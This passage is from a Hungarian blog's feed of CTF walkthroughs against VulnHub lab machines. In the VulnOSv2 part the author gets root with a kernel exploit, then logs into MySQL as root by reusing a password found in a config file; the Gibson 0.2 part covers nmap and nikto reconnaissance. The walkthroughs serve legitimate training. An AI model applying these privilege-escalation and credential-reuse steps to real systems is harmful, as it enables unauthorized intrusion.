&lt;p&gt;Vajon van a &lt;code&gt;3.13.0-24&lt;/code&gt;-es kernelhez exploit, ami közelebb vinne a root jogosultsághoz?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/vulnosv2_kernel.png&quot; alt=&quot;vulnosv2_kernel&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Találtam is a &lt;a href=&quot;https://www.kernel-exploits.com&quot;&gt;&lt;code&gt;kernel-exploits&lt;/code&gt;&lt;/a&gt; oldalán exploit-ot hozzá.&lt;/p&gt;

&lt;p&gt;A forrását be is másoltam egy nano-val nyitott fájlba, lefordítottam és lefuttatva már meg is van a &lt;code&gt;root&lt;/code&gt; jogosultság! :)&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano exploit.c &lt;/span&gt;

webmin@VulnOSv2:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gcc exploit.c -o exploit

&lt;span class=&quot;c&quot;&gt;# ./exploit &lt;/span&gt;
spawning threads
mount &lt;span class=&quot;c&quot;&gt;#1&lt;/span&gt;
mount &lt;span class=&quot;c&quot;&gt;#2&lt;/span&gt;
child threads &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
/etc/ld.so.preload created
creating shared library

&lt;span class=&quot;c&quot;&gt;# id&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;webmin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;És mi van a &lt;code&gt;root&lt;/code&gt; home mappájában… ?&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cd /root&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# ls -la&lt;/span&gt;
total 36
drwx------  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 19:37 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;21&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 18:06 ..
-rw-------  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root   &lt;span class=&quot;m&quot;&gt;52&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;21&lt;/span&gt; 14:05 .bash_history
-rw-r--r--  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;3106&lt;/span&gt; Feb &lt;span class=&quot;m&quot;&gt;20&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .bashrc
drwx------  &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; 18:55 .cache
-rw-r--r--  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;140&lt;/span&gt; Feb &lt;span class=&quot;m&quot;&gt;20&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .profile
-rw-------  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root    &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; 19:01 .psql_history
-rw-------  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;735&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 19:06 .viminfo
-rw-r--r--  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;165&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 19:06 flag.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Itt a hőn vágyott &lt;code&gt;flag.txt&lt;/code&gt;. A tartalma pedig… :)&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cat flag.txt&lt;/span&gt;
Hello and welcome.
You successfully compromised the company &lt;span class=&quot;s2&quot;&gt;&amp;quot;JABC&amp;quot;&lt;/span&gt; and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; you think of A.I.?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Tulajdonképpen ennyi volt. A zászló meg van, miénk a vár! De azért engem még érdekelne az a bizonyos &lt;code&gt;vulnosadmin&lt;/code&gt; felhasználó :)&lt;/p&gt;

&lt;p&gt;Ugyan mit rejtegethet a mappája…&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cd /home/vulnosadmin&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# ls -la&lt;/span&gt;
total 476
drwxr-x--- &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; vulnosadmin vulnosadmin   &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 19:35 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; root        root          &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;16&lt;/span&gt; 15:09 ..
-rw------- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; vulnosadmin vulnosadmin   &lt;span class=&quot;m&quot;&gt;4817&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 19:36 .bash_history
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; vulnosadmin vulnosadmin    &lt;span class=&quot;m&quot;&gt;220&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 18:14 .bash_logout
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; vulnosadmin vulnosadmin   &lt;span class=&quot;m&quot;&gt;3637&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 18:14 .bashrc
drwx------ &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; vulnosadmin vulnosadmin   &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 18:17 .cache
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; vulnosadmin vulnosadmin    &lt;span class=&quot;m&quot;&gt;675&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; 18:14 .profile
-rw------- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root        root          &lt;span class=&quot;m&quot;&gt;1504&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; 18:51 .viminfo
-rw-rw-r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; vulnosadmin vulnosadmin &lt;span class=&quot;m&quot;&gt;449100&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 18:41 r00t.blend&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Van itt egy szép kövér &lt;code&gt;.bash_history&lt;/code&gt;, amiben végig nézhetem a készítés menetét… vagy legalábbis egy részét, a shell parancsokat :)&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# less .bash_history&lt;/span&gt;
WARNING: terminal is not fully functional
sudo apt-get updatess RETURN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
sudo apt-get upgrade
sudo reboot
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;És van itt még egy &lt;code&gt;r00t.blend&lt;/code&gt; bináris, amit nem próbálok ki, mert bizalmatlan vagyok :)&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# file r00t.blend&lt;/span&gt;
r00t.blend: Blender3D, saved as 32-bits little endian with version 2.77&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;És vajon miért van a rendszeren &lt;code&gt;postgres&lt;/code&gt; felhasználó?&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# su postgres&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# psql &lt;/span&gt;
psql &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;9.3.11&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Type &lt;span class=&quot;s2&quot;&gt;&amp;quot;help&amp;quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; help.

&lt;span class=&quot;nv&quot;&gt;postgres&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# \du&lt;/span&gt;
                             List of roles
 Role name &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;                   Attributes                   &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; Member of 
-----------+------------------------------------------------+-----------
 postgres  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; Superuser, Create role, Create DB, Replication &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{}&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;postgres&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# \l&lt;/span&gt;
                                  List of databases
   Name    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;  Owner   &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; Encoding &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;   Collate   &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;    Ctype    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;   Access privileges   
-----------+----------+----------+-------------+-------------+-----------------------
 postgres  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; postgres &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; UTF8     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; en_US.UTF-8 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; en_US.UTF-8 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; 
 system    &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; postgres &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; UTF8     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; en_US.UTF-8 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; en_US.UTF-8 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;CTc/postgres        +
           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;             &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;             &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;postgres&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;CTc/postgres
 template0 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; postgres &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; UTF8     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; en_US.UTF-8 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; en_US.UTF-8 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;c/postgres          +
           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;             &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;             &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;postgres&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;CTc/postgres
 template1 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; postgres &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; UTF8     &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; en_US.UTF-8 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; en_US.UTF-8 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;c/postgres          +
           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;          &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;             &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;             &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;postgres&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;CTc/postgres
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; rows&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Végig nyálaztam mindent, de végül nem találtam ki, hogy mi a szerepe :)&lt;/p&gt;

&lt;p&gt;Egy utolsó pillantás a &lt;code&gt;phpmyqdmin&lt;/code&gt; konfigurációs fájljára…&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cat /etc/dbconfig-common/phpmyadmin.conf | egrep -v ^# | egrep -v ^$&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_install&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;true&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_upgrade&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;true&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_remove&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_dbtype&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;mysql&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_dbuser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;phpmyadmin&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_dbpass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;toor&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_dbserver&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_dbport&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_dbname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;phpmyadmin&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_dbadmin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;root&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_basepath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_ssl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_authmethod_admin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;dbc_authmethod_user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A phpmyadmin mysql felhaszálója &lt;code&gt;phpmyadmin&lt;/code&gt; és a jelszava neki is &lt;code&gt;toor&lt;/code&gt;. Mivel gyanús az egyezés a &lt;code&gt;Drupal&lt;/code&gt; mysql felhasználó jelszavával, így megpróbálom 
hogy hátha ugyanaz a mysql &lt;code&gt;root&lt;/code&gt; jelszava is.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# mysql -u root -p&lt;/span&gt;
Enter password:  toor
Welcome to the MySQL monitor.  Commands end with &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; or &lt;span class=&quot;se&quot;&gt;\g&lt;/span&gt;.
Your MySQL connection id is 1085
Server version: 5.5.47-0ubuntu0.14.04.1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Copyright &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type &lt;span class=&quot;s1&quot;&gt;&amp;#39;help;&amp;#39;&lt;/span&gt; or &lt;span class=&quot;s1&quot;&gt;&amp;#39;\h&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; help. Type &lt;span class=&quot;s1&quot;&gt;&amp;#39;\c&amp;#39;&lt;/span&gt; to clear the current input statement.

mysql&amp;gt; show databases&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
+--------------------+
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; Database           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
+--------------------+
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; information_schema &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; drupal7            &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; jabcd0cs           &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; mysql              &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; performance_schema &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; phpmyadmin         &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
+--------------------+
&lt;span class=&quot;m&quot;&gt;6&lt;/span&gt; rows in &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.03 sec&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

mysql&amp;gt; &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
Bye&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;És ugyanaz! :)&lt;/p&gt;

&lt;p&gt;Remek móka volt! Köszönöm &lt;a href=&quot;https://www.vulnhub.com/author/c4b3rw0lf,66/&quot;&gt;&lt;code&gt;c4b3rw0lf&lt;/code&gt;&lt;/a&gt;!!! Thanks &lt;a href=&quot;https://www.vulnhub.com/author/c4b3rw0lf,66/&quot;&gt;&lt;code&gt;c4b3rw0lf&lt;/code&gt;&lt;/a&gt; !!!
Ismét remekül szórakoztam… :)&lt;/p&gt;

</description>
        <pubDate>Sat, 21 May 2016 17:37:07 +0200</pubDate>
        <link>http://www.sysop.hu/blog/ethical_hacking/2016/05/21/vulnhub-vulnosv2/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/ethical_hacking/2016/05/21/vulnhub-vulnosv2/</guid>
        
        
        <category>ethical_hacking</category>
        
      </item>
    
      <item>
        <title>VulnHub - Gibson 0.2</title>
        <description>&lt;p&gt;A régi szép időkből néha nosztalgikus hangulatban emlékszem a hajnalig tartó FPS game partikra, ahol az egyik kedvenc móka a CTF (Capture The Flag), vagyis a szerezd 
meg a zászlót típusú játékok voltak. Mára már a CTF mást jelent számomra. Az IT-s biztonság technika talán egyik legérdekesebb ága az Ethical Hacking. Ezen 
területen tevékenykedő kreatív emberek, rendszeresen kihívások elé állítják egymást és létre hoznak virtuális szervereket, amiket aztán a többieknek root-ra kell törni, 
a rajtuk futó szolgáltatások sebezhetőségét és saját találékonyságukat felhasználva és megszerezni a rendszeren elrejtett egy vagy több flag-et (zászlót).
Az ilyen “cél” rendszerek egyik legnagyobb gyűjtőhelye a &lt;a href=&quot;https://www.vulnhub.com&quot;&gt;&lt;code&gt;VulnHub&lt;/code&gt;&lt;/a&gt;. Mindig nagyon várom, hogy fel kerüljön egy új, törésre váró virtuális szerver.
Hát tegnap felkerült a &lt;a href=&quot;https://www.vulnhub.com/entry/gibson-02,146&quot;&gt;&lt;code&gt;Gibson 0.2&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://www.vulnhub.com/author/knightmare,245&quot;&gt;&lt;code&gt;knightmare&lt;/code&gt;&lt;/a&gt; jóvoltából, köszönet érte…&lt;/p&gt;

&lt;h2 id=&quot;informci-gyjts&quot;&gt;Információ gyűjtés&lt;/h2&gt;

&lt;p&gt;Lássuk milyen IP címet kapott a DHCP-től.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# netdiscover -i eth0 -r 192.168.10.0/24&lt;/span&gt;
Currently scanning: 192.168.10.0/24   &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;   Screen View: Unique Hosts              
                                                                                  
 &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; Captured ARP Req/Rep packets, from &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; hosts.   Total size: &lt;span class=&quot;m&quot;&gt;126&lt;/span&gt;                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.10.1    fe:54:00:0e:a4:ce      &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;42&lt;/span&gt;  Unknown vendor                 
 192.168.10.222  52:54:00:c4:a4:12      &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;42&lt;/span&gt;  Unknown vendor                 
 192.168.10.254  52:54:00:0e:a4:ce      &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;42&lt;/span&gt;  Unknown vendor&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Szóval az IP cím &lt;code&gt;192.168.10.222&lt;/code&gt;. Most lássuk a nyitott portokat és a futó szolgáltatásokat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nmap -sS -sV 192.168.10.222 -p1-65535&lt;/span&gt;

Starting Nmap 7.12 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2016-05-16 15:58 CEST
Nmap scan report &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; 192.168.10.222 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.10.222&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.0015s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.
Not shown: &lt;span class=&quot;m&quot;&gt;65533&lt;/span&gt; closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; protocol 2.0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
80/tcp open  http    Apache httpd 2.4.7
MAC Address: 52:54:00:C4:A4:12 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;QEMU virtual NIC&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Service Info: Host: gibson.example.co.uk&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; OS: Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned in 14.88 seconds&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Van egy ssh a 22-es és egy Apache webszerver a 80-as porton. Mielőtt ránéznék böngészővel, elindítom a háttérben a nikto-t.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nikto -host http://192.168.10.222&lt;/span&gt;
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.10.222
+ Target Hostname:    192.168.10.222
+ Target Port:        80
+ Start Time:         2016-05-15 20:38:53 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GMT2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;
+ OSVDB-3268: /: Directory indexing found.
